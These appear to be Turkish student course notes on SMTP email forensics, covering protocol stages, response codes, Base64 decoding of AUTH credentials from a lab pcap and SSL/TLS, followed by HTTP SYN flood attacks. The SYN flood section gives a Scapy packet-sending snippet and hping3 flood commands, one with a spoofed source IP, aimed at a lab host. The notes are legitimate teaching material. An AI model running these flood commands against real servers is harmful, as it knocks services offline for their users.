← Notlar Hafta 6: SMTP E-posta Adli Analizi ve HTTP SYN Flood

Hafta 6: SMTP E-posta Adli Analizi ve HTTP SYN Flood

Kaynak: 30_SMTP_Email_Forensics.pptx (37 slayt), smtp.pcap, HTTP_tshark_Forensics_1_SYN_Flood.pptx (22 slayt).
Notundaki "4. slayt: SMTP, hangi aşamadan ne kullanılıyor, ne yapıyor? SSL/TLS, Conversion" = bu hafta.


BÖLÜM A: SMTP E-posta Forensics

1. E-posta protokolleri

Protokol Görevi Port
SMTP E-posta GÖNDERME (istemci -> sunucu, sunucu -> sunucu) 25 (şifresiz/eski), 587 (güvenli, modern gönderim), 465 (SSL/TLS)
IMAP Sunucudaki e-postaları alma/yönetme (mailler sunucuda kalır) 993 (güvenli)
POP3 E-postaları sunucudan indirme (daha eski ve basit) 110 (995 güvenli, ek bilgi)

2. SMTP nasıl çalışır? Aşama aşama (gönderme işlemi) ➜ notunda geçen "hangi aşamadan ne kullanılıyor"

# Aşama Komut / yanıt Ne yapar
1 Bağlantı kurulumu TCP 3'lü el sıkışma, sunucu: 220 ... ESMTP Sunucu "hazırım" der (service ready), kendini tanıtır, izinsiz toplu mail için kullanılamaz uyarısı verebilir
2 Selamlaşma (handshake) HELO (eski) / EHLO (genişletilmiş, ESMTP) İstemci kendini tanıtır. EHLO ile sunucunun desteklediği seçenekler (SIZE, AUTH, STARTTLS...) öğrenilir. Sunucu EHLO'yu bilmezse istemci HELO'ya döner
3 Kimlik doğrulama AUTH LOGIN / AUTH PLAIN Kullanıcı adı ve parola Base64 olarak gönderilir. Sunucu 334 ile sorar, 235 ile onaylar
4 Zarf (envelope) bilgisi MAIL FROM: ve RCPT TO: Gönderen ve alıcı adresi. Birden çok RCPT TO olabilir
5 Veri aktarımı DATA -> sunucu 354 E-posta içeriği (başlıklar From/To/Subject + gövde) gönderilir. Sonu satırda tek başına . ile bitirilir (<CR><LF>.<CR><LF>)
6 Kuyruğa alma 250 OK: queued as ... Sunucu maili kabul eder, takip numarası verir
7 Kapanış QUIT -> 221 Bye Bağlantı kapanır
8 Teslimat Sunucudan sunucuya Gönderici SMTP sunucusu, alıcının alan adının DNS (MX) kayıtlarına bakıp alıcı sunucuya iletir. Alıcı sunucu mailbox'a koyar

Zarf (envelope) vs başlık (header)

SMTP yanıt kodları (slayt 16)

Kod Anlamı
220 Servis hazır (service ready)
221 Servis bağlantıyı kapatıyor (Bye)
235 Kimlik doğrulama başarılı
250 İstek tamam (OK)
334 Sunucu AUTH'ta Base64 bilgi istiyor (VXNlcm5hbWU6 = "Username:", UGFzc3dvcmQ6 = "Password:")
354 Maili gönder, . ile bitir
214 Yardım (HELP) mesajı
251 Kullanıcı yerel değil, mail yönlendirilecek
252 Kullanıcı doğrulanamıyor ama mail kabul edilip teslim denenecek
4xx / 5xx (ek bilgi) 4xx geçici, 5xx kalıcı hata

Slayttaki not: 2 ve 3 ile başlayan kodlar genel durum/istem mesajlarıdır, teslimat hatası göstermez.

SIZE: sunucunun kabul ettiği maksimum mesaj boyutu (örn. slayt: 14.680.064 oktet). EHLO yanıtında gelir.

3. Base64 (Conversion) ➜ notundaki "Conversion"

Base64: İkili (binary) veriyi (resim, ses, dosya) sadece yazdırılabilir ASCII karakterlere çeviren kodlama.
- Amaç: ikili verinin e-posta, URL, JSON, XML gibi metin tabanlı ortamlardan bozulmadan iletilmesi.
- Şifreleme DEĞİL, sadece kodlamadır: herkes geri çözebilir. Bu yüzden SMTP AUTH'ta kullanıcı adı/parola düz metin gibi ele geçirilir.
- SMTP'de kullanıcı adı ve parola Base64 gider. Adli analizde Wireshark'ta bu değerleri çözmek delildir.

Nasıl çalışır (slayt 20-23): 3 baytlık (24 bit) veri 4 adet 6-bitlik parçaya (sextet) bölünür, her sextet 64 karakterlik tablodan (A-Z, a-z, 0-9, +, /) bir harfe karşılık gelir. Veri 3'ün katı değilse sonuna = dolgusu (padding) eklenir. Örn. "Man" -> TWFu (M=77=0x4D=01001101...). Tek harf M (77) -> sextet 19 (T), 16 (Q), padding, padding -> TQ==. ASCII tablosu (slayt 23): 84 = 0x54 = T.

Python ile çözme (slayt 24-25):

import base64
base64_text = "Z3VycGFydGFwQHBhdHJpb3RzLmlu"
ascii_text = base64.b64decode(base64_text).decode('utf-8')
print(ascii_text)       # gurpartap@patriots.in      ("TWFu" -> "Man")

Wireshark'ta otomatik çözme (slayt 28-29): bir AUTH paketine sağ tık -> Protocol Preferences -> Simple Mail Transfer Protocol -> "Decode Base64 encoded AUTH parameters" işaretle; paket listesinde User: gurpartap@patriots.in / Pass: punjab@123 düz görünür.

Terminalde:

echo "Z3VycGFydGFwQHBhdHJpb3RzLmlu" | base64 -d     # kodu çöz  -> gurpartap@patriots.in
echo "cHVuamFiQDEyMw==" | base64 -d                  # -> punjab@123
echo -n "kullanici" | base64                         # metni kodla

İpucu: Base64 sonu genelde = dolgusuyla biter.

4. SSL/TLS ➜ notundaki "SSL/TLS"

SSL/TLS = ağ üzerinde iki uygulama (tarayıcı-sunucu, mail istemci-sunucu) arasındaki iletişimin gizliliğini ve bütünlüğünü sağlayan şifreleme protokolleri.
- SSL: Netscape'in orijinal protokolü. SSL 3.0 güvenlik açığı nedeniyle 1999'da kullanımdan kalktı (not: slayt böyle yazıyor).
- TLS: SSL'in modern ve güvenli halefi. Şu an standart: TLS 1.2 ve 1.3.
- Alışkanlıkla "SSL" denir, ama bugün kullanılan TLS'tir.

3 ana görevi:

Görev Ne yapar Sonuç
1. Şifreleme (Encryption) Veriyi okunamaz hale getirir; sadece doğru anahtara sahip alıcı çözer Araya giren veriyi okuyamaz
2. Kimlik doğrulama (Authentication) Sunucunun gerçekten iddia ettiği sunucu olduğunu doğrular: güvenilir CA (Sertifika Yetkilisi)'nın verdiği dijital sertifika Sahte (phishing) siteye bilgi gitmez
3. Veri bütünlüğü (Integrity) Veriye özet (hash)/imza eklenir Yolda değiştirildi mi anlaşılır

5. Lab: smtp.pcap (kendim analiz ettim)

Bu .pcap, MS Outlook ile gönderilen bir e-postanın trafiğini içerir.

Soruların cevapları (slayt 36: "Questions you need to answer")

Soru Cevap
Ne zaman? 5 Ekim 2009. Mail başlığındaki Date: = Mon, 5 Oct 2009 11:36:07 +0530 (= 06:06:07 UTC). Sunucu karşılama zamanı 01:05:54 -0500 (aynı an, UTC 06:05:54). Yakalama süresi yaklaşık 7,6 sn
E-posta istemcisi? Microsoft Office Outlook 12.0 (X-Mailer başlığı)
İçerik? Çok parçalı (multipart/mixed): içinde multipart/alternative (text/plain + text/html) ve ek: NEWS.txt. Metin: "Hello / I send u smtp pcap file / Find the attachment / GPS". Konu: SMTP. 14 TCP parçası halinde gitmiş, Wireshark 45. pakette birleştiriyor
Gönderen / alıcı? From: "Gurpartap Singh" <gurpartap@patriots.in> -> To: raj_deol2002in@yahoo.co.in
Yaklaşım (ports)? Gönderen port 1470 (rastgele/ephemeral), alıcı (sunucu) port 25 (SMTP)
IP? Gönderen 10.10.1.4, sunucu 74.53.140.153 (mail.patriots.in, DNS ile çözülmüş)
MAC? Gönderen 00:e0:1c:3c:17:c2. Hedef MAC 00:1f:33:d9:81:60 (yerel ağ geçidi/router'ın MAC'i; sunucu uzakta olduğu için MAC'i görünmez)

Önemli deliller

Wireshark/tshark ipuçları (slayt 25-35)

smtp                                     # SMTP trafiğini filtrele
smtp.req.command == "AUTH"               # AUTH komutları
imf                                      # e-posta mesajı (Internet Message Format)
Follow -> TCP Stream                     # tüm konuşmayı oku (alternatif yöntem, slayt 34)
tshark -r smtp.pcap -Y smtp
tshark -r smtp.pcap -q -z follow,tcp,ascii,0       # konuşmayı yazdır
tshark -r smtp.pcap -Y imf -T fields -e imf.from -e imf.to -e imf.subject

Slayt 45: parçalı DATA (14 fragment) Wireshark tarafından tek e-posta olarak birleştirilir.


BÖLÜM B: HTTP, tshark ve SYN Flood

Çıkmış sınavda "HTTP SYN FLOOD saldırısı nedir?" tanım sorusu vardı.

6. TCP üçlü el sıkışma (three-way handshake)

Adım Gönderen Paket Anlamı
1 İstemci SYN (seq = m) "Bağlanmak istiyorum"
2 Sunucu SYN + ACK (seq = n, ack = m+1) "Tamam, ben de hazırım"
3 İstemci ACK (ack = n+1) "Aldım" -> ESTABLISHED

Durumlar: İstemci: CLOSED -> SYN-SENT -> ESTABLISHED. Sunucu: CLOSED -> LISTEN -> SYN-RECEIVED -> ESTABLISHED.
- Sequence #: gönderilen segmentteki ilk baytın numarası
- ACK #: alıcının beklediği bir sonraki bayt numarası. SYN için +1 eklenir.

7. SYN Flood saldırısı

Fikir: İstemci el sıkışmayı tamamlamazsa sunucu, SYN-RECEIVED durumunda (yarı açık bağlantı) kaynak ayırıp bekler. Saldırgan çok sayıda SYN gönderip ACK göndermezse, sunucunun bağlantı tablosu/kaynağı dolar ve gerçek kullanıcılara hizmet verilemez. Bir tür DoS / DDoS saldırısıdır (HTTP için hedef port 80).

Wireshark'ta belirti: kaynaktan sürekli SYN paketleri var, ama hedefin döndüğü SYN+ACK'e karşılık ACK yok (veya SYN+ACK'ler cevapsız).

Lab adımları (slayt 8-14)

tshark -D                                          # arayüzler: eth0, any, lo (Loopback) ...
tshark -i lo -c 4 -w mySYNFloodCapture.pcap        # 1. terminal: lo'da 4 paket yakala ve dosyaya yaz
sudo python3 synflood.py                           # 2. terminal: saldırıyı başlat
sudo service apache2 start                         # hedef web sunucusu çalışıyor olmalı

synflood.py içindeki send_syn(target_ip_address, target_port=80, number_of_packets_to_send=40, size_of_packet=20): hedef IP (örn. 192.168.78.11), port 80, 40 paket, 20 bayt. Çıktı: send_syn(): Sent 40 packets of 20size to 192.168.78.11 on port 80. Wireshark (R1 e1/1 hattı): kaynak 192.168.26.11 -> 192.168.78.11, [SYN] paketleri ve hedeften dönen [SYN, ACK]'lar. Topoloji: Kali -- ESW1 -- R1 -- OWASP-1 (kurban).

Scapy ile saldırı kodu (slayt 7-9)

Scapy = paket oluşturma, gönderme, dinleme, çözme kütüphanesi (Python).

ip  = IP(dst=target_ip)                                   # hedef IP başlığı
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")  # SYN bayrağı, RASTGELE kaynak port
raw = Raw(b"X" * size_of_packet)                           # veri alanı
p = ip / tcp / raw                                         # paketi birleştir
send(p, count=40, verbose=0)                               # 40 paket gönder

hping3 ile saldırı (slayt 17-22)

hping3 -S --flood -V -p 80 192.168.78.11              # SYN flood
hping3 -S --flood -V -d 6000 -p 80 192.168.78.11      # 6000 baytlık veri ile
hping3 -S --flood -V -a 15.15.15.15 -p 80 192.168.78.11   # SAHTE kaynak IP (spoof)
Parametre Anlamı
-S SYN bayrağı
--flood Cevapları beklemeden olabildiğince hızlı gönder
-V Ayrıntılı (verbose) çıktı
-p 80 Hedef port
-d <n> Veri boyutu (bayt)
-a <ip> Sahte kaynak IP ile saldırı (kaynağı gizler)

8. MTU ve parçalanma (slayt 18-21)


9. Hızlı tekrar

Konu Özet
SMTP Gönderme, port 25/587/465, düz metin, uygulama katmanı
IMAP / POP3 Alma (993 / 110)
SMTP akışı 220 -> EHLO -> AUTH -> MAIL FROM -> RCPT TO -> DATA(354) -> . -> 250 -> QUIT(221)
HELO vs EHLO EHLO = genişletilmiş (SIZE, AUTH, STARTTLS)
Base64 Kodlama, şifreleme değil; base64 -d
SSL/TLS Şifreleme + kimlik doğrulama (CA sertifikası) + bütünlük; SSL eski, TLS güncel
STARTTLS Düz bağlantıyı sonradan TLS'e yükseltir
SYN Flood SYN yağdırıp ACK vermemek; yarı açık bağlantılar sunucuyu tüketir (DoS)
hping3 -S --flood -p 80 -a <sahte-ip>

10. Kendini test et

  1. SMTP ile IMAP/POP3 arasındaki fark? Portları?
  2. SMTP aşamalarını komutlarıyla sırala.
  3. HELO ile EHLO farkı? MAIL FROM ile mail içindeki From: aynı şey mi?
  4. 220, 250, 334, 235, 354, 221 kodları ne demek?
  5. Base64 şifreleme midir? SMTP AUTH'ta neden tehlikeli? Z3VycGFydGFwQHBhdHJpb3RzLmlu ne eder?
  6. SSL/TLS'in 3 görevi? SSL ile TLS arasındaki fark?
  7. STARTTLS ile SMTPS (465) farkı?
  8. smtp.pcap: gönderici/alıcı IP-port-MAC, istemci, tarih, ek dosya adı?
  9. Üçlü el sıkışmayı anlat. SYN flood neden sunucuyu çökertir?
  10. hping3 -S --flood -V -a 15.15.15.15 -p 80 <ip> komutunu parça parça açıkla.
  11. MTU nedir? DF ve MF bitleri?